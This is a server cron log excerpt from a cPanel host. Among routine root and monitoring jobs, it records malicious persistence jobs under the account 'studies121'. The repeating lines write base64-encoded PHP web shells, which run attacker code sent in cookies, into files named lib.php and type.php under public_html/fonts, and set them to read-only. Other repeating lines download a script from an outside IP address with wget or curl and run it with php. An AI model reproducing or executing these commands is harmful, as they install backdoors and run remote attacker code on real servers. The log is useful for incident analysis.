Sep 12 01:53:01 ip-184-168-122-23 CROND[5599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:53:01 ip-184-168-122-23 CROND[5601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:54:01 ip-184-168-122-23 CROND[5689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:54:01 ip-184-168-122-23 CROND[5690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:54:01 ip-184-168-122-23 CROND[5691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:54:01 ip-184-168-122-23 CROND[5693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:54:01 ip-184-168-122-23 CROND[5692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:55:01 ip-184-168-122-23 CROND[5786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:55:01 ip-184-168-122-23 CROND[5789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:55:01 ip-184-168-122-23 CROND[5788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:55:01 ip-184-168-122-23 CROND[5790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:55:01 ip-184-168-122-23 CROND[5791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:55:01 ip-184-168-122-23 CROND[5792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:56:01 ip-184-168-122-23 CROND[5878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:56:01 ip-184-168-122-23 CROND[5879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:56:01 ip-184-168-122-23 CROND[5882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:56:01 ip-184-168-122-23 CROND[5884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:56:01 ip-184-168-122-23 CROND[5887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:57:01 ip-184-168-122-23 CROND[6047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:57:01 ip-184-168-122-23 CROND[6048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:57:01 ip-184-168-122-23 CROND[6049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:57:01 ip-184-168-122-23 CROND[6050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:58:01 ip-184-168-122-23 CROND[6126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:58:01 ip-184-168-122-23 CROND[6128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:58:01 ip-184-168-122-23 CROND[6129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:58:01 ip-184-168-122-23 CROND[6130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:58:01 ip-184-168-122-23 CROND[6131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:59:01 ip-184-168-122-23 CROND[6228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:59:01 ip-184-168-122-23 CROND[6230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:59:01 ip-184-168-122-23 CROND[6232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:59:01 ip-184-168-122-23 CROND[6233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:00:01 ip-184-168-122-23 CROND[6329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:00:01 ip-184-168-122-23 CROND[6332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6348]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6347]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6346]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 12 02:00:02 ip-184-168-122-23 CROND[6342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:01:01 ip-184-168-122-23 CROND[6442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:01:01 ip-184-168-122-23 CROND[6447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:01:01 ip-184-168-122-23 CROND[6446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:01:01 ip-184-168-122-23 CROND[6448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:01:01 ip-184-168-122-23 CROND[6445]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:01:01 ip-184-168-122-23 CROND[6444]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6444]: starting 0anacron
Sep 12 02:01:01 ip-184-168-122-23 anacron[6464]: Anacron started on 2026-09-12
Sep 12 02:01:01 ip-184-168-122-23 anacron[6464]: Normal exit (0 jobs run)
Sep 12 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6466]: finished 0anacron
Sep 12 02:02:01 ip-184-168-122-23 CROND[6632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:02:01 ip-184-168-122-23 CROND[6635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:02:01 ip-184-168-122-23 CROND[6636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:02:01 ip-184-168-122-23 CROND[6637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:02:01 ip-184-168-122-23 CROND[6640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:03:01 ip-184-168-122-23 CROND[6725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:03:01 ip-184-168-122-23 CROND[6724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:03:01 ip-184-168-122-23 CROND[6727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:03:01 ip-184-168-122-23 CROND[6726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:04:01 ip-184-168-122-23 CROND[6802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:04:01 ip-184-168-122-23 CROND[6804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:04:01 ip-184-168-122-23 CROND[6807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:04:01 ip-184-168-122-23 CROND[6808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:04:01 ip-184-168-122-23 CROND[6809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:05:01 ip-184-168-122-23 CROND[6900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
